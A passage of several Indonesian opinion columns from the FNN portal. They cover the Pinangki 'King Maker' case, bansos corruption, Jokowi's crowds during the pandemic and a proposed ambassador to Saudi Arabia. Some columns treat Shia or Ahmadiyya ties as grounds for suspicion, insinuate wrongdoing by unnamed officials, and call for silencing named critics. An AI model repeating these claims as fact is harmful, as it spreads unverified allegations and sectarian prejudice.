presiden. Skenario ini kabarnya ada benang merahnya terhadap rencana pencalonan presiden pada 2024. Artinya, kalau semua ini benar berarti berlatar berlakang politik, bukan kebutuhan. Perlu diketahui, beberapa waktu yang lalu saja Menteri BUMN sudah berkirim surat menolak pembangunan proyek 35.000 MW ke Kepala BKPM dan Menteri ESDM karena sudah terjadi "over supply" kelistrikan. Kok sekarang ada petinggi negeri ini menginstruksikan sesuatu yang sudah "over supply"? Namun, perlu diketahui juga bahwa dalam setiap pembangunan PLTU IPP swasta, PLN diharuskan membayar 80% dari total daya per hari, meskipun PLTU tersebut tidak beroperasi alias tidur. Nah, dari peluang tersebut, masuk akal juga jika ada seorang "oknum" ring satu RI 1 menggalang kekuatan para pengusaha pembangkit (Lokal maupun Internasional) berkaitan dengan skenario Pilpres 2024. Dalam hal ini penulis hanya ingin menghimbau kepada Anda yang memiliki kekuasaan membuat Draft RUPTL "laknat" tersebut. Jika sinyalemen ini benar, segeralah menghentikan pembahasannya. Sebab, jika pembahasannya diteruskan hanya akan menambah kehancuran bangsa dan negara ini semakin dalam. Penulis adalah Koordinator INVEST.

Siapa "King Maker" di Balik Kasus Jaksa Pinangki?

by Mochamad Toha Surabaya FNN - Siapa sosok “King Maker” dalam skandal korupsi Jaksa Pinangki Sirna Malasari hingga kini masih menyisakan misteri. Hakim menegaskan sosok itu memang ada. Namun, hingga sidang vonis 10 tahun atas Pinangki, sosok tersebut belum juga terungkap. Sosok misterius king maker perlu diusut. Agar kasus mafia hukum yang menjerat Pinangki dan Djoko S. Tjandra dapat terungkap dengan jelas. Komisi Pemberantasan Korupsi (KPK) pun didesak untuk turun tangan dan segera mengusut. Koordinator Masyarakat Anti-Korupsi Indonesia (MAKI) Boyamin Saiman mengultimatum KPK. Ia memberi waktu satu bulan pada lembaga antirasuah itu untuk mengusut king maker dalam pusaran kasus pengurusan fatwa Mahkamah Agung (MA) itu. Bahkan, Boyamin mengancam, jika dalam satu bulan tidak ditindaklanjuti KPK, maka MAKI akan mengajukan gugatan praperadilan. Sebab dalam laporan yang ia sampaikan, sudah ada dua alat bukti yang bisa digunakan untuk mengungkap King Maker tersebut. Begitu ungkap Boyamin di kompleks Gedung Merah Putih KPK, Jakarta, Selasa (23/2/2021). Kedatangannya ke KPK itu untuk menagih janji terkait penanganan laporan keterlibatan King Maker dalam pusaran kasus Pinangki dan Djoko S Tjandra. Selain itu, pihaknya juga menyerahkan profil King Maker lebih rinci. Diakui, dirinya yang bukan personil penegak hukum saja mengetahui sosok “King Maker” dalam skandal korupsi mantan Pinangki. Secara teori sangat tidak mungkin jika para petinggi dan penyidik KPK itu, tidak mengetahui dalang yang mengatur operasional mantan Jaksa Pinangki tersebut. Digambarkan, sosok King Maker itu merupakan aparat penegak hukum. Jabatannya tinggi. Oknum penegak hukum itu, saat ini masih aktif dan memiliki kekuasaan mengatur penegakan hukum di Indonesia. Itu berdasarkan versi dari salah satu saksi saat disidang. Tapi, dirinya untuk saat ini tak memiliki hak untuk menyebut secara transparan nama dalang tersebut. Ini karena dirinya hanya LSM saja. Bukan penegak hukum. “Jika KPK tidak mengusut laporan MAKI sampai batas waktu yang kami berikan, maka kami akan melakukan gugatan Praperadilan. Dalam sidang gugatan itu, saya akan buka sosok King Maker, yang membuat KPK ewu pakewuh untuk mengusutnya,” ujarnya, seperti dilansir Bongkah.id. Sebelumnya, keberadaan King Maker ini dinilai majelis hakim Pengadilan Tindak Tipikor, Jakarta, benar adanya. Dalam pembacaan vonis kepada Pinangki, majelis hakim Tipikor menyatakan, sosok diduga King Maker itu memiliki andil terkait pengurusan fatwa MA. Yang akan digunakan buronan Djoko Tjandra untuk bebas dari hukuman dua tahun penjara, atas kasus korupsi hak tagih Bank Bali. Namun, pengadilan tidak mampu mengungkap sosok tersebut. Kegagalan pengadilan mengungkap sosok King Maker tersebut, karena Pinangki tetap tutup mulut. Istri perwira Polri ini terkesan menutupi keterlibatan pihak lain termasuk King Maker, dalam kenakalannya mempermainkan hukum di Indonesia terkait kasus Djoko Tjandra. Sebelumnya, Wakil Ketua KPK Nurul Ghufron menegaskan bahwa KPK membuka peluang mengusut dugaan keterlibatan pihak lain dalam kasus pengurusan fatwa MA, yang menjerat mantan Jaksa Pinangki Sirna Malasari dan Djoko Tjandra. “Kalau ada dugaan-dugaan tindak pidana korupsi lain yang belum diungkapkan, tentu kami sangat terbuka. Tapi, tentu kami akan menunggu dari hasil putusan dulu sejauh mana kemungkinan itu,” kata Ghufron kepada wartawan di Jakarta, Selasa (9/2/2021). Dalam kasus pengurusan fatwa MA itu, hanya Djoko Tjandra yang belum dijatuhi vonis. Sementara dua terdakwa lain, yakni Pinangki dan Andi Irfan Jaya sudah divonis bersalah. Dari putusan terhadap kedua terdakwa itu, hakim menilai ‘King Maker’ benar adanya. Tapi, menurut hakim, sosok tersebut tidak berhasil diungkap selama persidangan. Ini karena keterangan terdakwa yang tidak jujur. KPK pernah menerbitkan surat perintah supervisi penanganan perkara Djoko Tjandra, yang ditangani Kejaksaan Agung dan Polri. Kasus yang ditangani Polri adalah dugaan suap perihal penghapusan DPO atas nama Djoko Tjandra, yang menjerat dua jenderal polisi. Yakni Irjen Napoleon Bonaparte dan Brigjen Prasetijo Utomo yang kasusnya ditangani pihak Polri. Bahkan, ketiga lembaga penegak hukum tersebut sempat melakukan gelar perkara di Gedung Dwiwarna KPK, sekitar September 2020. Tapi, Ghufron enggan menyampaikan perkembangan dari supervisi itu. Ia hanya memastikan, KPK akan mengusut dugaan tindak pidana yang melibatkan pihak lain yang didukung dengan alat bukti yang ada. Begitu pula berdasar alat bukti yang diberikan masyarakat. Beberapa waktu lalu, Boyamin pernah melaporkan sejumlah hal terkait kasus Jaksa Pinangki ke KPK. Termasuk melaporkan adanya istilah 'Bapakku-Bapakmu' dan King Maker dalam asus tersebut. Menurut Boyamin, Polri sudah melakukan tugasnya dengan menjerat Napoleon Bonaparte, Prasetijo Utomo, dan juga Tommy Sumardi. Begitu pula dengan Kejaksaan Agung yang sudah menjerat Djoko Tjandra, Andi Irfan Jaya, dan Jaksa Pinangki. Jadi ini tugas keduanya sudah cukup dan ini jadi tugas KPK untuk mengungkapkan peran lain yang belum bisa terungkap oleh proses penyidikan maupun di pengadilan Tipikor. Saat itu Boyamin menegaskan, apabila dalam 3 atau 4 bulan ke depan, KPK tidak kunjung mengusut keterlibatan pihak lain dalam perkara tersebut, pihaknya akan melakukan gugatan praperadilan atas kinerja lembaga antirasuah. “Jadi, ini tugasnya KPK, dan nanti kalau KPK ini enggak bergerak-bergerak kami akan gugat KPK melalui upaya jalur praperadilan atas tidak diprosesnya atau tidak dilanjutkannya proses Djoko Tjandra kepada pihak lain yang terlibat,” tegasnya. Terkait King Maker, hakim Pengadilan Tipikor menegaskan, sosoknya memang ada dalam kasus Pinangki. Tapi, hakim tidak bisa mengungkap siapa King Maker itu. Ia dinilai berbelit-belit dalam persidangan, berusaha menyembunyikan keterlibatan pihak lain. Dalam kasus ini, Djoko Tjandra diduga bersedia memberikan imbalan sebesar 1 juta dollar AS atau sekitar Rp 14,85 miliar kepada Pinangki. Menurut Kejagung, Pinangki menyusun proposal action plan untuk membantu Djoko Tjandra mengurus fatwa di MA. Proposal itu telah diserahkan ke Djoko Tjandra melalui perantara. Tapi, Djoko Tjandra membatalkan kerja sama mereka lantaran tak ada rencana seperti dalam proposal Pinangki yang terlaksana. Padahal, Djoko Tjandra sudah memberikan uang 500.000 dollar AS (50 persen) dari imbalan yang dijanjikan kepada Pinangki sebagai uang muka. Dari total uang itu, Pinangki diduga memberikan 50.000 dollar AS kepada Anita Kolopaking sebagai pembayaran awal jasa penasihat hukum. Anita, mantan pengacara Djoko Tjandra. Ia juga diduga bersedia membantu Djoko Tjandra mengurus fatwa itu. Sementara, uang yang masih tersisa digunakan Pinangki untuk membeli mobil BMW X-5, membayar dokter kecantikan di Amerika Serikat, menyewa apartemen atau hotel di New York, membayar kartu kredit, serta membayar sewa dua apartemen di Jakarta Selatan. Dalam kasus ini, Pinangki dijerat dengan pasal berlapis terkait dugaan korupsi dan tindak pidana pencucian uang (TPPU). Sementara, penyidik Kejagung masih merampungkan berkas perkara untuk tersangka Djoko Tjandra dan Andi Irfan Jaya. Sejauh ini, Anita tidak berstatus tersangka di kasus ini. Tapi, ia ditetapkan Bareskrim Polri sebagai tersangka kasus lain yang masih terkait Djoko Tjandra. Dalam kasus dugaan gratifikasi dan suap ini, Jampidsus telah menetapkan 3 orang tersangka. Yakni Djoko Tjandra, Pinangki, dan eks kader Partai Nasdem, Andi Irfan Jaya. Sebelumnya, Kejaksaan Agung merespons pernyataan sejumlah pihak ihwal tak dibukanya nama-nama yang diduga membantu Jaksa Pinangki saat menawarkan kepengurusan fatwa bebas di MA untuk Djoko Tjandra. Dilansir Tempo.co, Sabtu (19/9/ 2020 09:38 WIB), Jaksa Agung Muda Bidang Tindak Pidana Khusus Ali Mukartono menuturkan, selama penyidikan sejumlah pihak tersebut tak memiliki pembuktian keterlibatan. Menurut Ali bahwa selama itu tidak ada kaitannya dengan pembuktian, untuk apa? Kalau ada pembuktian, baru. “Kalau hanya bapakku bapakmu, apa hubungannya dengan pembuktian?” ucap Ali saat dikonfirmasi pada Sabtu, 19 September 2020. Namun, jika dalam gelaran sidang perdana Jaksa Pinangki pada Rabu, 23 September 2020 muncul pembuktian baru maka pihak Kejaksaan Agung akan menelusuri. “Kalau misalkan nanti mengandung nilai pembuktian baru kami cek,” kata Ali. Munculnya pihak-pihak baru yang diduga berperan dalam kasus Pinangki berawal dari laporan MAKI. Koordinator MAKI Boyamin Saiman yang menyebut ada istilah 'bapakku' dan 'bapakmu' dalam kasus tersebut. Selain itu ada juga lima nama baru, yakni T, DK, BR, HA, dan SHD. Mulanya, MAKI hanya mendorong Kejagung menyelidiki sejumlah informasi tersebut. Namun belakangan ia juga melaporkan nama-nama tersebut ke KPK, sehingga KPK ikut diminta mendalami. Permintaan itu dilakukan Boyamin lantaran menilai Kejagung terburu-buru melimpahkan berkas perkara Jaksa Pinangki. Alhasil, ia menduga penyidik Kejagung enggan mengusut tuntas nama-nama lain yang ditengarai ikut terlibat. Kini bola berada di KPK. Jika KPK tak juga mengusut siapa pihak yang telah disebut King Maker, MAKI akan menggugat praperadilan ke KPK. Penulis adalah Wartawan Senior FNN.co.id.

Jangan Sampai Zuhairi Misrawi Menjadi Dubes di Arab Saudi

By Asyari Usman Medan, FNN - Ada yang kenal dengan Zuhairi Misrawi? Terus terang, baru tahu orang ini ketika teman penulis, M Rizal Fadillah, menurunkan tulisan yang mengingatkan Presiden Jokowi agar tidak mengirim Zuhiari ke Arab Saudi untuk menjadi duta besar (Dubes). Zuhairi adalah orang Madura kelahiran Sumenep, berusia 44 tahun. Di kalangan NU, dia disebut sebagai intelektual muda. Pak Jokowi tentu tidak punya waktu untuk mempelajari secara detail setiap orang yang akan ditunjuk untuk posisi-posisi penting. Dubes di Saudi adalah salah satu posisi penting di pemerintahan Indonesia. Salah satu yang sangat vital di lingkungan Kementerian Luar Negeri (Kemenlu). Sebab, Saudi adalah tempat yang setiap tahun dikunjung oleh jutaan orang Indonesia. Jemaah haji saja ada sekitar 220,000 orang per tahun. Jemaah umrah bahkan bisa mencapai satu juta lebih pertahun sebelum wabah Covid-19. Selain itu, ada ratusan ribu tenaga kerja Indonesia (TKI) di Saudi. Dan juga banyak mahasiswa Indonesia yang belajar di Madinah. Jadi, ada empat urusan penting dengan pihak Saudi. Yaitu, kunjungan jemaah haji, jemaah umrah, TKI, dan mahasiswa. Untuk keempat urusan ini, Dubes RI untuk Saudi adalah orang nomor satu yang memikul tanggung jawab. Baik itu tanggung jawab spiritual maupun tanggung jawab administratif. Zuhairi Misrawi jelas bukan orang yang tepat untuk posisi Dubes di Saudi. Dia pernah menyebut umrah sebagai akal-akalan (konspriasi) Saudi untuk mendapatkan devisa. Dia mengatakan pula bahwa umrah adalah ziarah yang mahal. Cukuplah ziarah kubur saja, menurut Zuhairi. Patut disangka bahwa Zuhairi tidak senang dengan berbagai pelaksanaan syariat Islam yang terkait dengan Arab Saudi. Kalau dia jadi diangkat sebagai Dubes di sana, dikhawatirkan dia akan menghadapi masalah dalam mengurusi umat yang pergi ke Saudi untuk empat tujuan seperti disebut tadi. Dubes RI di Saudi harus intensif melakukan diplomasi kuota haji dan umrah. Juga harus aktif meleyani TKI dan mahasiswa yang khususnya kuliah di Madinah. Kalau Zuhairi ditempatkan di sana, sangat dikhawatirkan dia tak akan mampu merundingkan kepentingan haji, umrah dan kemahasiswaan. Sebagai salah seorang cenderung sejalan dengan Jaringan Islam Liberal (JIL), pandangan-pandangan Zuhari tentang kemazhaban dan syariat Islam banyak yang tidak bisa diterima oleh umat. Dalam konteks bercanda atau tidak, dia pernah mengatakan bahwa dirinya 99% Ahmadiyah. Zuhairi pernah pula mengutarakan preferensinya agar suatu saat nanti orang Syiah diangkat menjadi menteri agama. Padahal, Zuhairi pastilah sangat paham bahwa masalah Syiah sangat sensitif di kalangan umat Islam Indonesia yang mayoritas mengikuti ‘ahlussunnah wal jamaah’. Dari berbagai foto jejek digital, Zuhairi Misrawi pernah menghadiri acara Syiah di Iran. Salah satu foto menunjukkan bahwa dia dan mendiang Jalaluddin Rahmat (pentolah Syiah Indonesia) berada di ruang besar acara pertemuan Syiah di Iran. Zuhairi adalah politisi PDIP. Beberapa kali pernah menjadi caleg partai yang pernah berusaha mengganti Pancasila dengan Eka Sila alias ‘gotong royong’ itu. Dilihat dari habitat politiknya, publik bisa memahami bahwa Zuhairi merasa lebih nyaman berada di lingkungan yang tidak menyukai Ketuhanan Yang Maha Esa (KYME). Yang otomatis tidak menyukai umat Islam. Perlu disampaikan kepada Presiden Jokowi dan Menlu Retno Marsudi bahwa Zuhairi Misrawi sangat berpotensi menjadi sumber konflik kalau dia ditugaskan sebagai Dubes di Arab Saudi.[] (Penulis wartawan senior FNN.co.id)

Setan & Iblis Ikut Bahas Korupsi Bansos

by Kisman Latumakulita Jakarta FNN – Pagi tadi (Jum’at 26/02), selesai sholat subuh, saya baca pesan dari teman yang pernah menjadi menteri di eranya kabinet Jokowi-Jusuf Kalla. Pesannya dikirim dari semalam sekitar jam 21.45 WIB. Namun baru dibaca selesai sholat subuh. Isi pesannya adalah, “adinda, bisa ke rumah jam 08.00 WIB pagi ini untuk sarapan, sambil ngombrol-ngobrol kecil di rumah”? Tanpa pikir panjang, saya langsung jawab saja, “insya Allah bisa bang”. Cuma kemungkinan saya agak terlambat yang bang, karena harus ketemu dengan teman yang sudah terlanjur janjian jam 06.30 WIB pagi ini. Dijawab oleh abang yang mantan menteri itu “ok saja adinda. Abang tunggu ya. Sampai jumpa di rumah dinda nanti”. Sebagai wartawan, tentu saja ini adalah kesempatan yang tidak bakalan saya disia-siakan. Saya sudah mulai terbayang bakalan dapat cerita dan informasi penting sekitar pemerintah Jokowi, naik dulu ketika masih menjadi anggota kabinet maupun sekarang. Paling kurang ada kesempatan untuk saya menggali dan menanyakan beberapa informasi penting dari sang mantan menteri. Tepat jam 07.45 WIB, saya meninggalkan rumah teman untuk menuju rumah mantan menteri tersebut. Karena macet, saya baru tiba di rumah sang mantan menteri jam 09.15 WIB. Setelah dipersilahkan oleh staf rumahnya untuk masuk ke ruang tamu, tiga menit kemudian mantan menteri keluar dari kamar pribadi untuk menemui saya. Kami lantas saling memberikan salam protokol kesehatan (prokes) dengan menunukan kepal tangan masing-masing dari jarak jauh. Sambil menunggu sarapan dihidangkan, sang mantan menteri mengajak saya untuk foto-foto dengan beberapa latar belakang lukisan yang dibuat dengan alat lukis dari pedang. Latar belakang foto kami bedua lainnya adalah ketika sang menteri masih mudah. Stafnya lalu memfoto kami berdua untuk beberapa kali. Setelah itu, hidangan sarapan pagi disajikan untuk kami berdua. Sambil sarapan dan ngopi tanpa gula, mantan menteri itu bilang, “anda ini kan wartawan gila. Saya kanal kamu sejak awal tahun 1990, saat baru pulang kuliah S-3 dari Amerika. Saat itu, kita sama-sama membongkar skandal rente ekonomi Iuran Hasil Hutan (IHH) dan Dana Reboisasi (RD) yang sangat kecil dipungut untuk negara. Sementara mereka para pengusaha Hak Pengusahaan Hutan (HPH) bisa kaya raya tanpa melakukan investasi”. Pengusaha HPH hanya investasi alat untuk menebang kayu. Saya jawab, “benar bang. Ketika itu saya masih wartawan yunior di Harin Ekonomi NERACA. Abang membantu Wahana Lingkungan Hidup (Walhi), Lembaga Swadaya Masyarakat (LSM) lingkungan yang sangat peduli dengan masalah eksploitasi hutan yang tidak banyak memberikan manfaat, baik kepada negara maupun untuk masyarakat yang hidup di sekitar hutan sebagai pemilik sebenarnya hutan. Sambil sarapan, sang mantan menteri bertanya kepada saya, “Kisman, kamu tau nggak, apa yang sedang dibahas oleh para iblis dan setan dalam pertemuan mereka beberapa hari belakangan ini”? Saya jawab, ”ya pasti nggak taulah bang. Saya kan bukan iblis dan setan”. Kemudian saya tanya kepada sang mantan menteri, “memangnya yang abang tau tema apa yang dibahas setan dan iblis”? Sambil tertawa kecil, sang mantan menteri menjawa, “pasti yang dibahas itu korupsi di Indonesia yang merata, dan tidak pernah berakhir. Korupsi yang hampir merata di semua kementerian dan lembaga. Totol korupsi di industri asuransi dengan palaku yang sama hampi mencapai Rp. 100 triliun. Kalau ada yang belum terungkap, bukan karena tidak adanya korupsi. Ini hanya soal waktu saja. Nanti juga akan terungkap pada waktunya". Namun korupsi di Indonesia yang paling banyak dibahas setan dan iblis adalah korupsi dana Bantuan Sosial (Bansos). Ditambahkan sang mantan menteri, kalau setan dan iblis juga bingung nggak abis pikir, masa dana Bansos untuk orang kecil yang lagi kesulitan akibat pandemi kovid-19 dikorupsi sih? Tega-teganya mereka para kader partai yang mengaku sebagai pembela rakyat kecil tersebut ya? Dimana rasa kemanusian mereka terhadap orang kecil? “Kita-kita (iblis dan setan) yang spesialis penghisap darah manusia saja, masih pilih-pilih darah segar mana yang mau dihisap? Yang pasti bukan darahnya orang-orang kecil yang akan dihisap oleh kita-kita. Sebab pasti darahnya tidak lagi lagi segar, karena kurang vitamin dan nutrisi. Namun kalau darahnya para oligarki dan konglomerat yang merampok uang rakyat itu pasti kita dihisap. Karena pasti masih segar dan bau enak”. Mengakhiri pertemuan yang hampir dua jam itu, sang mantan menteri mengingatkan saya agar Portal Berita FNN.co.id jangan sampai bosan untuk memberitakan korupsi dana Bansos tersebut. Alasannya, FNN jangan sampai kalah dengan iblis dan setan yang sangat perduli dengan korupsi dana Bansos. Masa FNN kalah perduli dengan iblis dan setan? Oh ya, ada lagi nih. “FNN jangan juga lupa dengan soal Goodie Bag anak Pak Lurah yang harganya Rp. 15.000,- per unit”. Padahal Boodie Bag itu kalau bisa dikerjakan oleh Usaha Kecil Menengah dan Koperasi (UMKM), harganya bisa lebih murah, yaitu Rp 5.000,- per unit. Bisa memberikan pekerjaan kepada UMKM dalam jumlah yang banyak, dengan harga yang sangat murah”. Goodie Bag itu penunjukan langsung sebanyak 10 juta unit kepada PT Sritex, sehingga total anggaran adalah Rp. 150 miliar. Setan dan iblis juga mengingatkan kalau penunjukan langsusung itu hanya dibolehkan untuk proyek dengan nilai di bawah Rp. 200 juta. Kalau penunjukan langsung untuk pekerjaan di atas Rp. 200 juta, iblis dan setan sepakat kalau itu pidana. Penulis adalah Wartawan Senior FNN.co.id.

Presiden Jokowi Harus Ditahan

PERNYATAAN Wakil Ketua Umum Majelis Ulama Indonesia (MUI) Anwar Abbas yang dilansir berbagai media sangat mengejutkan.Judulnya bermacam-macam. Ada yang menurunkan judul dengan sangat tegas dan lugas. “MUI Desak Jokowi Ditahan Seperti Habib Rizieq Shihab.” Ada pula yang menampilkan judul secara netral “Kasus Kerumunan Massa Jokowi dan HRS, Ini Kata Waketum MUI". Apapun judulnya, substansinya sebenarnya sama. Buya Anwar Abbas mempertanyakan inkonsistensi pemerintah berkaitan dengan aturan larangan berkerumun di tengah pandemi. Kita semua tentu saja terkejut menyaksikan video yang beredar. Presiden Jokowi dalam kunjungannya ke NTT tampak disambut ribuan orang. Mayoritas tidak mengenakan masker dan tidak mengindahkan protokol kesehatan. Yang lebih memprihatinkan, Presiden Jokowi tampaknya sangat menikmati momentum dia dielu-elukan rakyat. Dia muncul dari dalam mobil. Berdiri di atap mobil yang bisa dibuka (sun roof) melambai-lambaikan tangan kepada massa penyambutnya yang berdesak-desakan. Kemudian dia melempar-lemparkan benda yang diperebutkan warga. Juru bicara Istana menyebut benda yang dilempar adalah souvenir, berupa kaos dan masker. Momen tersebut tidak hanya sekali terjadi. Dalam momen lain, Presiden Jokowi juga tampak melempar-lemparkan benda dari dalam mobilnya yang melaju. Pada momen lain, terlihat warga berebutan mendekat ke mobil Jokowi. Sepeda motor petugas yang mencoba mencegah massa mendekat ke mobil Presiden, sampai roboh terdorong massa. Deputi Bidang Protokol, Pers, dan Media Sekretariat Presiden Bey Machmudin menyatakan, peristiwa tersebut terjadi secara spontan. Warga menyambut iring-iringan mobil rombongan Presiden Jokowi. Apa pun penjelasan istana, publik melihat kunjungan Presiden Jokowi ke Maumere, Sikka, NTT itu menimbulkan kerumunan besar. Sebuah peristiwa yang tidak boleh terjadi di tengah suasana pandemi. Presiden Jokowi sudah mengingatkan dan mewanti-wanti hal semacam itu tidak boleh terjadi. Dalam Rapat Kabinet Penanggulangan Covid-19 dan Pemulihan Ekonomi tanggal 16 November 2020, Presiden Jokowi dengan tegas memerintahkan Kapolri dan Panglima TNI untuk mencegah terjadinya kerumunan massa.Jokowi juga memerintahkan Mendagri agar menegur para kepala daerah yang tidak menegakkan protokol kesehatan. Kemarahan Presiden ini nampaknya dipicu oleh kerumunan massa dalam jumlah besar, saat Habib Rizieq Shihab kembali ke Indonesia. Habib Rizieq kembali ke Indonesia bertepatan dengan Hari Pahlawan 10 November 2020. Kerumunan itu berlanjut dengan peringatan Maulud Nabi Muhammad Saw dan pernikahan putrinya di markas FPI di Petamburan, Jakarta Pusat. Kemudian juga pada peringatan Maulud Nabi dan peresmian Markas Syariah FPI di kawasan Mega Mendung, Kabupaten Bogor, Jawa Barat. Sebagaimana kita ketahui bersama, Habib Rizieq sudah meminta maaf. Dia juga dikenakan denda sebesar Rp 50 juta oleh Pemprov DKI. Namun, kasusnya berlanjut. Dia dijerat dengan berbagai kasus pidana akibat kerumunan massa. Dia juga ditahan di Polda Metro Jaya dan kemudian dipindahkan ke tahanan Bareskrim Mabes Polri. Selain Habib Rizieq, Gubernur DKI Anies Baswedan juga diperiksa polisi. Dia diklarifikasi, begitu polisi menyebutnya selama 9 jam di Polda Metro Jaya. Dengan latar belakang peristiwa semacam itu, tidak mengherankan bila publik heboh melihat adanya kerumunan massa dalam jumlah besar, akibat kunjungan presiden di NTT. Ada perlakuan yang berbeda antara Habib Rizieq Shihab dan Presiden Jokowi. Padahal, peristiwanya sama. Publik kembali disuguhi sikap inkonsisten pemerintah. Khususnya Jokowi. Dia melanggar instruksi yang dia keluarkan sendiri. Jokowi dan para pendukungnya tidak bisa berlindung di balik posisinya sebagai presiden. Dalam negara demokrasi ada prinsip yang sangat dijunjung tinggi, yakni kesamaan posisi di mata hukum. Equality before the law. Dengan prinsip itu, Jokowi justru harus dihukum lebih berat, karena posisinya sebagai presiden. Dia merupakan figur teladan. Perilakunya akan ditiru oleh publik. Berdampak sangat buruk. Kembali ke pernyataan Buya Anwar Abbas. Pernyataan itu haruslah dilihat sebagai suara kemarahan publik karena hukum di negeri ini tidak ditegakkan secara adil. Tumpul ke atas. Tajam ke bawah. Seperti jaring laba-laba. Hanya bisa menjerat benda kecil dan tak mampu menjerat benda yang lebih besar. Sekarang semuanya terpulang kepada kebijaksanaan Presiden Jokowi, jika kalimat yang sangat berharga itu masih ada. Dalam hukum ada adagium yang dijunjung sangat tinggi : Tegakkan Hukum Walau Esok Langit Akan Runtuh! Hukum adalah sendi penopang utama sebuah negara. Bila hukum tidak ditegakkan, maka keruntuhan sebuah negara tinggal menunggu waktu.

Buzzer Denny Siregar Membuat Bising Aceh

by M. Rizal Fadillah Bandung FNN - Adalah ungkapan syukur "Alhamdulillah" dari Denny Siregar, aktivis Syi'ah yang sekaligus buzzer yang masyarakat Aceh marah. Denny menyindir warga Aceh dan pemerintahannya atas laporan Badan Pusat Statintik (BPS) Aceh mengenai naiknya angka kemiskinan sebesar 15,43 % pada September 2020 yang dinilai tertinggi di Pulau Sumatera. Twit Denny sangat menyakitkan. Denny mengoceh "lho, propinsi termiskin itu prestasi. Karena jadi propinsi kaya itu biasa, sudah banyak yang melakukannya. Miskin itu gaya hidup yang tak semua orang bisa. Pertahankan posisi juara bertahan. Anda bisa". Dengungan buzzer ini dinilai tak layak. Karena hanya dengan berdasar laporan BPS saja, Denny sudah menyimpulkan terlalu jauh. Bersyukur lagi. Netizen mengingatkan akan kontribusi Aceh bagi bangsa dan negara ini besar. Sumber Daya Alam (SDA yang dialokasikan Aceh untuk Pemerintah Pusat cukup besar. Baik itu gas alam, nikel, emas, minyak bumi, hingga perkebunan. Dikaitkan dengan sejarah perjalanan bangsa ini, maka mudah menunjukkan sumbangan besar tidak ternilai dari masyarakat Aceh. Mulai dari sumbangan pesawat RI OO1 Seulawah 1 dan 2, kapal laut, hingga emas 28 kg. Bahkan sebagian besar emas di puncak Monas adalah sumbangan sukarela dari putera Aceh Teuku Markam. Apakah itu mau dianggap tidak ada? Sindiran Denny Siregar dinilai keterlaluan dan berbahaya. Aceh, Maluku, dan Papua adalah propinsi yang potensial untuk memisahkan diri dari Negara Kesatuan Republik Indonesia (NKRI). Bila hantaman semakin tajam, dan penghargaan kepada masyarakat Aceh hilang, maka bukan mustahil bakal berujung pada desakan referendum pemisahan dari NKRI. Jika ini yang terjadi bukan hanya Aceh yang berpisah. Ada efek domino yang meluas. Pemerintah harus segera membungkam buzzer-buzzer berbahaya seperti Denny, Abu Janda, Ade Armando dan lainnya sebagai wujud penegakan hukum berdasarkan keadilan. Kebebasan yang diberikan kepada para buzzer tanpa batas, dapat menciptakan ketersinggungan regional maupun nasional. Apalagi jika hal itu dikaitkan dengan aspek keagamaan atau keumatan. Denny Siregar sudah berulangkali berulah. Berulangkali pula dilaporkan ke Kepolisian tanpa ada tindak lanjut proses hukum. Kondisi ini akan menyebabkan kekecewaan publik yang semakin memuncak dari hari ke hari. Proteksi kepada buzzer dinilai mencolok dan berlebihan. Privilege yang unlawful. Tidak mengherankan kalau publik harus mencurigai penegakan hukum kita amburadul dan jorok. Mengapa Denny selalu sinis dalam cuitannya, dan senantiasa menohok kepada sentimen keagamaan? Sebagaimana Denny menuduh "calon teroris" kepada santri cilik di Tasikmalaya dulu? Nampaknya Denny tidak akan menyerang jika Aceh bukan propinsi khusus yang menerapkan syari'at Islam. Tiga status yang melekat pada diri Denny, sehingga terkesan Islamophobia. Pertama, sebagai buzzer yang sewarna dengan rezim yang kurang, atau tidak bersahabat dengan umat Islam. Radikalisme dan ekstrimisme diarahkan pada umat Islam. Sayangnya, bersamaan dengan itu minta dana wakaf dari umat Islam. Satu sisi butuh dana umat Islam setelah gagal mengelola ekonomi bangsa. Namun sisi lain bersikap Islam phobia. Kedua, sebagaimana pengakuannya bahwa Denny adalah Syi'ah, sementara mayoritas umat Islam Indonesia itu Sunni. Sebagai aktivis Syi'ah tentu Denny dituding berupaya menciptakan instabilitas dengan ocehan dan sikap politiknya. Ketiga, sebagai pegiat sosial media, Denny memanfaatkan media ini untuk menyerang banyak orang dan tokoh seperti Novel, Prabowo, Almira Yudhoyono, HRS, hingga Anies Baswedan. Tokoh Aceh Fahrul Rozi dibully saat pembuatan Qonun yang berkaitan dengan Hukum Keluarga. Sikap sinis kepada masyarakat dan pemimpin Aceh sebagai propinsi berprestasi kemiskinan sungguh menyakitkan. Jika Denny berada dan menjadi warga Aceh mungkin saja sudah dihukum mati. Beruntung Denny berada di area ibu kota Negara, sehingga bisa berlindung dan sembunyi di pantat penguasa. Penulis adalah Pemerhati Politik dan Kebangsaan.

Polisi Medsos Kurang Kerjaan

Bagi polisi hanya ingin bertanya, nurani Anda di mana? Sadarkah Anda bahwa aib-aib institusi Anda juga tengah dibuka satu persatu oleh Yang Maha Kuasa? by Rahmi Aries Nova Jakarta, (FNN) - "BUKANNYA menyatakan perang habis-habisan pada narkoba yang daya rusaknya luar biasa, sampai-sampai sekelas Kapolsek pun menggelar pesta narkoba dengan anak buahnya. Eh, ini malah medsos yang dijaga 24 jam." Tanpa polisi medsos atau media sosial saja jutaan akun sudah diberangus baik oleh Facebook, Twitter, juga Instagram. Contohnya, akun pribadi saya, sudah ditake down twitter sejak 1 Desember 2020, atau seminggu menjelang kejadian pembantaian pengawal Imam Besar Front Pembela Islam (FPI) Habib Rizieq Shihab. Pada hari itu, mungkin puluhan ribu, bahkan ratusan ribu akun Twitter diberangus.Terutama akun-akun yang memakai profil picture HRS atau apa pun yang berbau FPI. Padahal saat itu FPI belum dinyatakan terlarang lho! Mungkinkah kejadian KM50 ada kaitannya dengan dihabisi akun-akun Twitter demi meredam berita di medsos? Sementara akun Facebook saya ditakedown pada 6 Februari lalu. Keduanya, (Twitter dan Facebook) bukan akun anonim, dan sudah ada sejak 13 tahun lalu. Dari dua akun tersebut, insya Allah saya tidak pernah menyebarkan hoax, menyerang personal, apalagi memfitnah. Akun saya pasti anti pornografi, tidak pernah dipakai untuk berjualan apalagi menipu. Saya bahkan sangat menahan diri untuk memposting hal-hal pribadi kalau kesannya agak pamer. Misal, saya tidak pernah posting foto berdua-duaan dengan suami karena menjaga perasaan teman saya yang belum menikah atau sudah berpisah. Soal anak pun begitu. Selalu dipikirkan apakah kalau saya posting, teman-teman yang tidak dikaruniai anak bakal bersedih? Posting makanan malah saya paling anti, karena membayangkan masih banyak orang yang tidak bisa makan di negeri ini. Intinya, akun 